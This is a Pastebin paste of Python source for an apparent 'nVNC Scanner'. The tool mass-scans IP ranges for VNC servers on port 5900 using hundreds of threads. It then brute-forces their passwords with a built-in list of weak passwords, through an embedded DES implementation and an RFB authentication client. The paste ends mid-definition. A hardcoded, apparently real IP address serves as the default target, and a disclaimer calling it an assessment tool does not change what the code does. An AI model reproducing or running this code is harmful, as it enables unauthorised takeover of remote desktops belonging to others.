Advertisement
Guest User

uiuiuiuiuiu

a guest
Jan 23rd, 2017
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 32.64 KB | None | 0 0
  1. import sys
  2. import os
  3. import cmd
  4. import socket
  5. import threading
  6. import pickle
  7. import time
  8.  
  9. from sys import stdout
  10. from struct import pack, unpack
  11.  
  12. VERSION = "0x203"
  13. CODENAME = "CheesePizza"
  14. DEFAULT_CONFIG = dict()
  15. CONFIG = dict()
  16. FILES = dict()
  17. FOLDERS = dict()
  18. DISCLAIMER = """
  19.  
  20. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  21. This is not a hacking tool, this is a security assessment tool.
  22. We do not encourage cracking or any other illicit activities that
  23. put in danger the privacy or the informational integrity of others,
  24. and we certainly do not want this tool to be misused.
  25. !!! USE IT AT YOUR OWN RISK !!!
  26. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  27.  
  28.  
  29. """
  30.  
  31. DEFAULT_PASSWORDS = """1
  32. 12
  33. 123
  34. 1212
  35. 1234
  36. 12345
  37. 102030
  38. 112233
  39. 114477
  40. 123123
  41. 123456
  42. 159159
  43. 159357
  44. 332211
  45. 357951
  46. 1234567
  47. 1478963
  48. ...
  49. """
  50.  
  51. #============DEFAULT_CONFIG============#
  52. DEFAULT_CONFIG['scan_range'] = "192.168.*.*"
  53. DEFAULT_CONFIG['scan_port'] = "5900"
  54. DEFAULT_CONFIG['scan_timeout'] = "5"
  55. DEFAULT_CONFIG['scan_threads'] = "500"
  56. DEFAULT_CONFIG['brute_threads'] = "250"
  57. DEFAULT_CONFIG['brute_timeout'] = "5"
  58. DEFAULT_CONFIG['auto_save'] = "true"
  59. DEFAULT_CONFIG['auto_brute'] = "true"
  60. #============DEFAULT_CONFIG============#
  61.  
  62. #============FILES============#
  63. FILES['results'] = {"folder": "output", "name":"results.txt"}
  64. FILES['ips'] = {"folder": "output", "name":"ips.txt"}
  65. FILES['passwords'] = {"folder": "input", "name":"passwords.txt"}
  66. FILES['config'] = {"folder": "nbin", "name":"config.conf"}
  67. FILES['ips.tmp'] = {"folder": "nbin", "name":"ips.tmp"}
  68. #============FILES============#
  69.  
  70. #============FOLDERS============#
  71. FOLDERS['output'] = "output"
  72. FOLDERS['input'] = "input"
  73. FOLDERS['nbin'] = "bin"
  74. #============FOLDERS============#
  75.  
  76. class _baseDes(object):
  77. def __init__(self, mode=0, IV=None, pad=None, padmode=1):
  78. if IV:
  79. IV = self._guardAgainstUnicode(IV)
  80. if pad:
  81. pad = self._guardAgainstUnicode(pad)
  82. self.block_size = 8
  83. if pad and padmode == 2:
  84. raise ValueError("Cannot use a pad character with 2")
  85. if IV and len(IV) != self.block_size:
  86. raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
  87.  
  88. self._mode = mode
  89. self._iv = IV
  90. self._padding = pad
  91. self._padmode = padmode
  92.  
  93. def getKey(self):
  94. """getKey() -> bytes"""
  95. return self.__key
  96.  
  97. def setKey(self, key):
  98. """Will set the crypting key for this object."""
  99. key = self._guardAgainstUnicode(key)
  100. self.__key = key
  101.  
  102. def getMode(self):
  103. """getMode() -> pyDes.ECB or pyDes.1"""
  104. return self._mode
  105.  
  106. def setMode(self, mode):
  107. """Sets the type of crypting mode, pyDes.ECB or pyDes.1"""
  108. self._mode = mode
  109.  
  110. def getPadding(self):
  111. """getPadding() -> bytes of length 1. Padding character."""
  112. return self._padding
  113.  
  114. def setPadding(self, pad):
  115. """setPadding() -> bytes of length 1. Padding character."""
  116. if pad is not None:
  117. pad = self._guardAgainstUnicode(pad)
  118. self._padding = pad
  119.  
  120. def getPadMode(self):
  121. """getPadMode() -> pyDes.1 or pyDes.2"""
  122. return self._padmode
  123.  
  124. def setPadMode(self, mode):
  125. """Sets the type of padding mode, pyDes.1 or pyDes.2"""
  126. self._padmode = mode
  127.  
  128. def getIV(self):
  129. """getIV() -> bytes"""
  130. return self._iv
  131.  
  132. def setIV(self, IV):
  133. """Will set the Initial Value, used in conjunction with 1 mode"""
  134. if not IV or len(IV) != self.block_size:
  135. raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
  136. IV = self._guardAgainstUnicode(IV)
  137. self._iv = IV
  138.  
  139. def _padData(self, data, pad, padmode):
  140. if padmode is None:
  141. padmode = self.getPadMode()
  142. if pad and padmode == 2:
  143. raise ValueError("Cannot use a pad character with 2")
  144.  
  145. if padmode == 1:
  146. if len(data) % self.block_size == 0:
  147. return data
  148.  
  149. if not pad:
  150. pad = self.getPadding()
  151. if not pad:
  152. raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=2 or set the pad character.")
  153. data += (self.block_size - (len(data) % self.block_size)) * pad
  154.  
  155. elif padmode == 2:
  156. pad_len = 8 - (len(data) % self.block_size)
  157. if sys.version_info[0] < 3:
  158. data += pad_len * chr(pad_len)
  159. else:
  160. data += bytes([pad_len] * pad_len)
  161.  
  162. return data
  163.  
  164. def _unpadData(self, data, pad, padmode):
  165. # Unpad data depending on the mode.
  166. if not data:
  167. return data
  168. if pad and padmode == 2:
  169. raise ValueError("Cannot use a pad character with 2")
  170. if padmode is None:
  171. # Get the default padding mode.
  172. padmode = self.getPadMode()
  173.  
  174. if padmode == 1:
  175. if not pad:
  176. pad = self.getPadding()
  177. if pad:
  178. data = data[:-self.block_size] + \
  179. data[-self.block_size:].rstrip(pad)
  180.  
  181. elif padmode == 2:
  182. if sys.version_info[0] < 3:
  183. pad_len = ord(data[-1])
  184. else:
  185. pad_len = data[-1]
  186. data = data[:-pad_len]
  187.  
  188. return data
  189.  
  190. def _guardAgainstUnicode(self, data):
  191. if sys.version_info[0] < 3:
  192. if isinstance(data, unicode):
  193. raise ValueError("pyDes can only work with bytes, not Unicode strings.")
  194. else:
  195. if isinstance(data, str):
  196. try:
  197. return data.encode('ascii')
  198. except UnicodeEncodeError:
  199. pass
  200. raise ValueError("pyDes can only work with encoded strings, not Unicode.")
  201. return data
  202.  
  203. class des(_baseDes):
  204. __pc1 = [56, 48, 40, 32, 24, 16, 8,
  205. 0, 57, 49, 41, 33, 25, 17,
  206. 9, 1, 58, 50, 42, 34, 26,
  207. 18, 10, 2, 59, 51, 43, 35,
  208. 62, 54, 46, 38, 30, 22, 14,
  209. 6, 61, 53, 45, 37, 29, 21,
  210. 13, 5, 60, 52, 44, 36, 28,
  211. 20, 12, 4, 27, 19, 11, 3
  212. ]
  213.  
  214. __left_rotations = [
  215. 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
  216. ]
  217.  
  218. __pc2 = [
  219. 13, 16, 10, 23, 0, 4,
  220. 2, 27, 14, 5, 20, 9,
  221. 22, 18, 11, 3, 25, 7,
  222. 15, 6, 26, 19, 12, 1,
  223. 40, 51, 30, 36, 46, 54,
  224. 29, 39, 50, 44, 32, 47,
  225. 43, 48, 38, 55, 33, 52,
  226. 45, 41, 49, 35, 28, 31
  227. ]
  228.  
  229. __ip = [57, 49, 41, 33, 25, 17, 9, 1,
  230. 59, 51, 43, 35, 27, 19, 11, 3,
  231. 61, 53, 45, 37, 29, 21, 13, 5,
  232. 63, 55, 47, 39, 31, 23, 15, 7,
  233. 56, 48, 40, 32, 24, 16, 8, 0,
  234. 58, 50, 42, 34, 26, 18, 10, 2,
  235. 60, 52, 44, 36, 28, 20, 12, 4,
  236. 62, 54, 46, 38, 30, 22, 14, 6
  237. ]
  238.  
  239. __expansion_table = [
  240. 31, 0, 1, 2, 3, 4,
  241. 3, 4, 5, 6, 7, 8,
  242. 7, 8, 9, 10, 11, 12,
  243. 11, 12, 13, 14, 15, 16,
  244. 15, 16, 17, 18, 19, 20,
  245. 19, 20, 21, 22, 23, 24,
  246. 23, 24, 25, 26, 27, 28,
  247. 27, 28, 29, 30, 31, 0
  248. ]
  249.  
  250. __sbox = [
  251. [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
  252. 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
  253. 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
  254. 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
  255.  
  256. [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
  257. 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
  258. 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
  259. 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
  260.  
  261. # S3
  262. [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
  263. 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
  264. 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
  265. 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
  266.  
  267. # S4
  268. [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
  269. 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
  270. 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
  271. 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
  272.  
  273. # S5
  274. [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
  275. 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
  276. 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
  277. 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
  278.  
  279. # S6
  280. [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
  281. 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
  282. 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
  283. 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
  284.  
  285. # S7
  286. [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
  287. 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
  288. 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
  289. 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
  290.  
  291. # S8
  292. [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
  293. 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
  294. 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
  295. 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
  296. ]
  297.  
  298. __p = [
  299. 15, 6, 19, 20, 28, 11,
  300. 27, 16, 0, 14, 22, 25,
  301. 4, 17, 30, 9, 1, 7,
  302. 23,13, 31, 26, 2, 8,
  303. 18, 12, 29, 5, 21, 10,
  304. 3, 24
  305. ]
  306.  
  307. __fp = [
  308. 39, 7, 47, 15, 55, 23, 63, 31,
  309. 38, 6, 46, 14, 54, 22, 62, 30,
  310. 37, 5, 45, 13, 53, 21, 61, 29,
  311. 36, 4, 44, 12, 52, 20, 60, 28,
  312. 35, 3, 43, 11, 51, 19, 59, 27,
  313. 34, 2, 42, 10, 50, 18, 58, 26,
  314. 33, 1, 41, 9, 49, 17, 57, 25,
  315. 32, 0, 40, 8, 48, 16, 56, 24
  316. ]
  317.  
  318. ENCRYPT = 0x00
  319. DECRYPT = 0x01
  320.  
  321. def __init__(self, key, mode=0, IV=None, pad=None, padmode=1):
  322. if len(key) != 8:
  323. raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
  324. _baseDes.__init__(self, mode, IV, pad, padmode)
  325. self.key_size = 8
  326.  
  327. self.L = []
  328. self.R = []
  329. self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
  330. self.final = []
  331.  
  332. self.setKey(key)
  333.  
  334. def setKey(self, key):
  335. """Will set the crypting key for this object. Must be 8 bytes."""
  336. _baseDes.setKey(self, key)
  337. self.__create_sub_keys()
  338.  
  339. def __String_to_BitList(self, data):
  340. """Turn the string data, into a list of bits (1, 0)'s"""
  341. if sys.version_info[0] < 3:
  342. data = [ord(c) for c in data]
  343. l = len(data) * 8
  344. result = [0] * l
  345. pos = 0
  346. for ch in data:
  347. i = 7
  348. while i >= 0:
  349. if ch & (1 << i) != 0:
  350. result[pos] = 1
  351. else:
  352. result[pos] = 0
  353. pos += 1
  354. i -= 1
  355.  
  356. return result
  357.  
  358. def __BitList_to_String(self, data):
  359. """Turn the list of bits -> data, into a string"""
  360. result = []
  361. pos = 0
  362. c = 0
  363. while pos < len(data):
  364. c += data[pos] << (7 - (pos % 8))
  365. if (pos % 8) == 7:
  366. result.append(c)
  367. c = 0
  368. pos += 1
  369.  
  370. if sys.version_info[0] < 3:
  371. return ''.join([ chr(c) for c in result ])
  372. else:
  373. return bytes(result)
  374.  
  375. def __permutate(self, table, block):
  376. """Permutate this block with the specified table"""
  377. return list(map(lambda x: block[x], table))
  378.  
  379. def __create_sub_keys(self):
  380. """Create the 16 subkeys K[1] to K[16] from the given key"""
  381. key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
  382. i = 0
  383. self.L = key[:28]
  384. self.R = key[28:]
  385. while i < 16:
  386. j = 0
  387. while j < des.__left_rotations[i]:
  388. self.L.append(self.L[0])
  389. del self.L[0]
  390.  
  391. self.R.append(self.R[0])
  392. del self.R[0]
  393.  
  394. j += 1
  395.  
  396. self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
  397.  
  398. i += 1
  399.  
  400. def __des_crypt(self, block, crypt_type):
  401. """Crypt the block of data through DES bit-manipulation"""
  402. block = self.__permutate(des.__ip, block)
  403. self.L = block[:32]
  404. self.R = block[32:]
  405.  
  406. # Encryption starts from Kn[1] through to Kn[16]
  407. if crypt_type == des.ENCRYPT:
  408. iteration = 0
  409. iteration_adjustment = 1
  410. # Decryption starts from Kn[16] down to Kn[1]
  411. else:
  412. iteration = 15
  413. iteration_adjustment = -1
  414.  
  415. i = 0
  416. while i < 16:
  417. # Make a copy of R[i-1], this will later become L[i]
  418. tempR = self.R[:]
  419.  
  420. # Permutate R[i - 1] to start creating R[i]
  421. self.R = self.__permutate(des.__expansion_table, self.R)
  422.  
  423. # Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
  424. self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
  425. B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
  426. j = 0
  427. Bn = [0] * 32
  428. pos = 0
  429. while j < 8:
  430. m = (B[j][0] << 1) + B[j][5]
  431. n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
  432.  
  433. v = des.__sbox[j][(m << 4) + n]
  434.  
  435. Bn[pos] = (v & 8) >> 3
  436. Bn[pos + 1] = (v & 4) >> 2
  437. Bn[pos + 2] = (v & 2) >> 1
  438. Bn[pos + 3] = v & 1
  439.  
  440. pos += 4
  441. j += 1
  442.  
  443. self.R = self.__permutate(des.__p, Bn)
  444. self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
  445. self.L = tempR
  446.  
  447. i += 1
  448. iteration += iteration_adjustment
  449.  
  450. self.final = self.__permutate(des.__fp, self.R + self.L)
  451. return self.final
  452.  
  453. def crypt(self, data, crypt_type):
  454. """Crypt the data in blocks, running it through des_crypt()"""
  455.  
  456. if not data:
  457. return ''
  458. if len(data) % self.block_size != 0:
  459. if crypt_type == des.DECRYPT:
  460. raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
  461. if not self.getPadding():
  462. raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
  463. else:
  464. data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
  465.  
  466. if self.getMode() == 1:
  467. if self.getIV():
  468. iv = self.__String_to_BitList(self.getIV())
  469. else:
  470. raise ValueError("For 1 mode, you must supply the Initial Value (IV) for ciphering")
  471. i = 0
  472. dict = {}
  473. result = []
  474. while i < len(data):
  475.  
  476. block = self.__String_to_BitList(data[i:i+8])
  477.  
  478. if self.getMode() == 1:
  479. if crypt_type == des.ENCRYPT:
  480. block = list(map(lambda x, y: x ^ y, block, iv))
  481. processed_block = self.__des_crypt(block, crypt_type)
  482.  
  483. if crypt_type == des.DECRYPT:
  484. processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
  485. iv = block
  486. else:
  487. iv = processed_block
  488. else:
  489. processed_block = self.__des_crypt(block, crypt_type)
  490.  
  491. result.append(self.__BitList_to_String(processed_block))
  492. i += 8
  493.  
  494. if sys.version_info[0] < 3:
  495. return ''.join(result)
  496. else:
  497. return bytes.fromhex('').join(result)
  498.  
  499. def encrypt(self, data, pad=None, padmode=None):
  500. data = self._guardAgainstUnicode(data)
  501. if pad is not None:
  502. pad = self._guardAgainstUnicode(pad)
  503. data = self._padData(data, pad, padmode)
  504. return self.crypt(data, des.ENCRYPT)
  505.  
  506. def decrypt(self, data, pad=None, padmode=None):
  507. data = self._guardAgainstUnicode(data)
  508. if pad is not None:
  509. pad = self._guardAgainstUnicode(pad)
  510. data = self.crypt(data, des.DECRYPT)
  511. return self._unpadData(data, pad, padmode)
  512.  
  513. class RFBProtocol:
  514. def __init__(self, host="69.193.118.223", password="1212", port=5901, timeout=5, shared=1):
  515. self.host = str(host)
  516. self.port = int(port)
  517. self.password = str(password)
  518. self.timeout = float(timeout)
  519. self.shared = int(shared)
  520. self.sock = None
  521. self.connected = False
  522. self.RFB = False
  523. self.null = False
  524. self.version = None
  525. self.name = None
  526. self.fail_message = None
  527.  
  528. def connect(self):
  529. try:
  530. self.conn_init()
  531. self.client_auth()
  532. except Exception as ex:
  533. pass
  534.  
  535. def close(self):
  536. self.sock.close()
  537.  
  538. def conn_init(self):
  539. self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  540. self.sock.settimeout(self.timeout)
  541. self.sock.connect((self.host, self.port))
  542. result = self.sock.recv(12)
  543. if result[:3] == "RFB":
  544. self.RFB = True
  545. self.sock.send("RFB 003.003\n")
  546. else:
  547. raise Exception("Not RFB")
  548.  
  549. def client_auth(self):
  550. result = self.sock.recv(4)
  551. (method,) = unpack("!I", result)
  552. if method == 0:
  553. (lenght,) = unpack("!I", self.sock.recv(4))
  554. self.fail_message = self.sock.recv(int(lenght))
  555. raise Exception(self.fail_message)
  556. elif method == 1:
  557. self.null = True
  558. self.client_init()
  559. elif method == 2:
  560. self.vnc_auth()
  561. else:
  562. raise Exception("Unsupported auth method")
  563.  
  564.  
  565. def vnc_auth(self):
  566. challenge = self.sock.recv(16)
  567. self.send_password(challenge)
  568. (result,) = unpack("!I", self.sock.recv(4))
  569. self.status_code = result
  570. if result == 0:
  571. self.client_init()
  572. elif result == 1:
  573. raise Exception("WRONG PASSWORD")
  574.  
  575. def client_init(self):
  576. self.connected = True
  577. self.sock.send(pack("!B", self.shared))
  578. result = self.sock.recv(24)
  579. (width, height, pixformat, namelen) = unpack("!HH16sI", result)
  580. self.name = self.sock.recv(namelen)
  581.  
  582. def send_password(self, challenge):
  583. password = (self.password + '\0' * 8)[:8]
  584. response = self.des_enc(password, challenge)
  585. self.sock.send(response)
  586.  
  587. def des_enc(self, key, string):
  588. newkey = []
  589. for ki in range(len(key)):
  590. bsrc = ord(key[ki])
  591. btgt = 0
  592. for i in range(8):
  593. if bsrc & (1 << i):
  594. btgt = btgt | (1 << 7-i)
  595. newkey.append(chr(btgt))
  596. DES = des("".join(newkey))
  597. return DES.encrypt(string)
  598.  
  599. class MiscFunctions:
  600.  
  601. def is_int(self, string):
  602. try:
  603. int(string)
  604. return True
  605. except ValueError:
  606. return False
  607.  
  608. def is_float(self, string):
  609. try:
  610. float(string)
  611. return True
  612. except ValueError:
  613. return False
  614.  
  615. def is_bool(self, string):
  616. if string.lower() in ("true", "false"):
  617. return True
  618. else:
  619. return False
  620.  
  621. def save_config(self):
  622. Files.file_write(FILES['config'], pickle.dumps(CONFIG))
  623.  
  624. class FilesHandler:
  625.  
  626. def __init__(self):
  627. self.sep = os.sep
  628. self.root_path = os.getcwd() + self.sep
  629.  
  630. def file_get_contents(self, location):
  631. if self.file_exists(location):
  632. return open(location).read()
  633. else:
  634. return False
  635.  
  636. def file_write(self, location, data="", mode="w"):
  637. if mode=="i":
  638. oldf = open(location).read()
  639. f = open(location, 'w')
  640. f.write(data.rstrip() + '\n' + oldf.rstrip())
  641. f.close()
  642. else:
  643. f = open(location, mode)
  644. f.write(data)
  645. f.close()
  646.  
  647. def file_empty(self, location):
  648. try:
  649. if os.path.getsize(location) > 0:
  650. return False
  651. else:
  652. return True
  653. except OSError:
  654. return True
  655.  
  656. def file_exists(self, file_path):
  657. return os.path.isfile(file_path)
  658.  
  659. def dir_exists(self, dir_path):
  660. if os.path.exists(dir_path) and (not os.path.isfile(dir_path)):
  661. return True
  662. else:
  663. return False
  664.  
  665. def dirname(self, path):
  666. return os.path.dirname(path)
  667.  
  668. def mkdir(self, path):
  669. try:
  670. os.makedirs(path)
  671. except OSError:
  672. passlist
  673.  
  674. class Deploy:
  675. def __init__(self):
  676. self.deploy_folders()
  677. self.deploy_files()
  678.  
  679. def deploy_folders(self):
  680. for (key, folder) in FOLDERS.items():
  681. folder = Files.root_path + folder + Files.sep
  682. FOLDERS[key] = folder
  683. if not Files.dir_exists(folder):
  684. Files.mkdir(folder)
  685.  
  686. def deploy_files(self):
  687. for (key, file) in FILES.items():
  688. file = FOLDERS[file['folder']] + file['name']
  689. FILES[key] = file
  690. if not Files.file_exists(file):
  691. Files.file_write(file)
  692.  
  693. if Files.file_empty(FILES['config']):
  694. Files.file_write(FILES['config'], pickle.dumps(DEFAULT_CONFIG))
  695.  
  696. if Files.file_empty(FILES['passwords']):
  697. Files.file_write(FILES['passwords'], DEFAULT_PASSWORDS)
  698.  
  699.  
  700. class Display:
  701. def __init__(self):
  702. pass
  703.  
  704. def delimiter(self, string):
  705. stdout.write("\n" + ("-" * len(string)) + "\n")
  706.  
  707.  
  708.  
  709. def getTerminalSize(self):
  710. current_os = os.name
  711. tuple_xy=None
  712. if current_os in ('nt','dos','ce'):
  713. tuple_xy = self._getTerminalSize_windows()
  714. if tuple_xy is None:
  715. tuple_xy = self._getTerminalSize_tput()
  716. if current_os == 'posix':
  717. tuple_xy = self._getTerminalSize_linux()
  718. if tuple_xy is None:
  719. tuple_xy = (80, 25)
  720. return tuple_xy
  721.  
  722. def _getTerminalSize_windows(self):
  723. res=None
  724. try:
  725. from ctypes import windll, create_string_buffer
  726. h = windll.kernel32.GetStdHandle(-12)
  727. csbi = create_string_buffer(22)
  728. res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
  729. except:
  730. return None
  731. if res:
  732. import struct
  733. (bufx, bufy, curx, cury, wattr,
  734. left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
  735. sizex = right - left + 1
  736. sizey = bottom - top + 1
  737. return sizex, sizey
  738. else:
  739. return None
  740. def _getTerminalSize_tput(self):
  741. try:
  742. import subprocess
  743. proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
  744. output=proc.communicate(input=None)
  745. cols=int(output[0])
  746. proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
  747. output=proc.communicate(input=None)
  748. rows=int(output[0])
  749. return (cols,rows)
  750. except:
  751. return None
  752. def _getTerminalSize_linux(self):
  753. def ioctl_GWINSZ(fd):
  754. try:
  755. import fcntl, termios, struct, os
  756. cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234'))
  757. except:
  758. return None
  759. return cr
  760. cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
  761. if not cr:
  762. try:
  763. fd = os.open(os.ctermid(), os.O_RDONLY)
  764. cr = ioctl_GWINSZ(fd)
  765. os.close(fd)
  766. except:
  767. pass
  768. if not cr:
  769. try:
  770. cr = (env['LINES'], env['COLUMNS'])
  771. except:
  772. return None
  773. return int(cr[1]), int(cr[0])
  774. def posvals(self,val='x'):
  775. self.size = self.getTerminalSize()
  776. self.tx = self.size[0]
  777. self.ty = self.size[1]
  778. if val=='x':
  779. return self.tx
  780. else:
  781. return self.ty
  782.  
  783.  
  784. def clearscreen(self):
  785. if os.name in ("nt", "dos", "ce"):
  786. os.system("CLS")
  787. elif os.name == "posix":
  788. os.system("clear")
  789. else:
  790. stdout.write("\n"*150)
  791. self.banner()
  792.  
  793. def banner(self):
  794. banner = list()
  795. banner.append("|>>>> - nVNC Scanner - %s - %s - <<<<|" % (VERSION, CODENAME))
  796. banner.append("Scan Threads: %s <-> Scan Timeout: %s <-> Scan Port: %s" % (CONFIG['scan_threads'], CONFIG['scan_timeout'], CONFIG['scan_port']))
  797. banner.append("Brute Threads: %s <-> Brute Timeout: %s <-> Auto Brute: %s" % (CONFIG['brute_threads'], CONFIG['brute_timeout'], CONFIG['auto_brute']))
  798. banner.append("Scan Range: %s <-> Auto Save: %s" % (CONFIG['scan_range'], CONFIG['auto_save']))
  799. stdout.write("\n")
  800. for line in banner:
  801. stdout.write(line.center(self.posvals()))
  802. if 'nVNC' in line:
  803. stdout.write('\n')
  804. stdout.write("\n\n")
  805.  
  806.  
  807. def disclaimer(self):
  808. for line in DISCLAIMER.split('\n'):
  809. stdout.write(line.center(self.posvals()))
  810.  
  811.  
  812. class NetTools:
  813.  
  814. def convert_ip(self, string):
  815. if self.is_ip(string.strip()):
  816. return [self.ip2int(string.strip())]
  817. else:
  818. return False
  819.  
  820. def convert_range(self, string):
  821. if string.count('-') == 1:
  822. string = string.strip().split('-')
  823. if self.is_ip(string[0]) and self.is_ip(string[1]):
  824. string = [self.ip2int(x) for x in string]
  825. string.sort()
  826. return string
  827.  
  828. elif string.count('*') in (1,2,3):
  829. if self.is_ip(string.replace('*', '0')):
  830. return [self.ip2int(string.replace('*', '0')), self.ip2int(string.replace('*', '255'))]
  831. else:
  832.  
  833. return False
  834.  
  835. def is_range(self, string):
  836. if string.count('-') == 1:
  837. string = string.strip().split('-')
  838. if self.is_ip(string[0]) and self.is_ip(string[1]):
  839. return True
  840.  
  841. elif string.count('*') in (1,2,3):
  842. if self.is_ip(string.replace('*', '0')):
  843. return True
  844. else:
  845. return False
  846.  
  847. def is_ip(self, address='0.0.0.0'):
  848. try:
  849. octets = address.split('.')
  850. if len(octets) == 4:
  851. ipAddr = "".join(octets)
  852. if ipAddr.isdigit():
  853. if (int(octets[0]) >= 0) and (int(octets[0]) <= 255):
  854. if (int(octets[1]) >= 0) and (int(octets[1]) <= 255):
  855. if (int(octets[2]) >= 0) and (int(octets[2]) <= 255):
  856. if (int(octets[3]) >= 0) and (int(octets[3]) <= 255):
  857. return True
  858. except IndexError:
  859. pass
  860. except ValueError:
  861. pass
  862. return False
  863.  
  864. def ip2int(self, ip):
  865. ip = ip.split(".")
  866. return int("%02x%02x%02x%02x" % (int(ip[0]),int(ip[1]),int(ip[2]),int(ip[3])),16)
  867.  
  868. def int2ip(self, integer):
  869. integer = "%08x" % (integer)
  870. return "%i.%i.%i.%i" % (int(integer[0:2],16),int(integer[2:4],16),int(integer[4:6],16),int(integer[6:8],16))
  871.  
  872. class Interface:
  873.  
  874. def Start(self):
  875. self.main_console().cmdloop()
  876.  
  877. class main_console(cmd.Cmd):
  878. prompt = ("+>").rstrip()
  879. ruler = "~"
  880.  
  881. def default(self, line):
  882. stdout.write("\n\tNope.\n\n")
  883.  
  884. #==========MISC COMMANDS==========#
  885. def do_disclaimer(self, line):
  886. Display.disclaimer()
  887. def do_add(self, line):
  888. line = line.lower().split(" ")
  889. if len(line) == 2 and line[0] and line[1]:
  890. if line[1] in FILES.keys():
  891. Files.file_write(FILES[line[1]], line[0], 'i')
  892. stdout.write("\n\t[OK]\n")
  893. else:
  894. stdout.write("\n\t[ERROR]\n")
  895. else:
  896. stdout.write("\n\t[ERROR]\n")
  897. time.sleep(0.5)
  898. Display.clearscreen()
  899.  
  900. def do_flush(self, line):
  901. line = line.lower().split(" ")
  902. if len(line) == 1 and line[0]:
  903. if line[0] in FILES.keys():
  904. Files.file_write(FILES[line[0]])
  905. stdout.write("\n\t[OK]\n")
  906. elif line[0].strip() in ("all", "everything"):
  907. for file in FILES.keys():
  908. if file != "config":
  909. Files.file_write(FILES[file])
  910. stdout.write("\n\t[OK]\n")
  911. else:
  912. stdout.write("\n\t[ERROR]\n")
  913. time.sleep(0.5)
  914. Display.clearscreen()
  915.  
  916. def do_clear(self, line):
  917. Display.clearscreen()
  918. def do_cls(self,line):
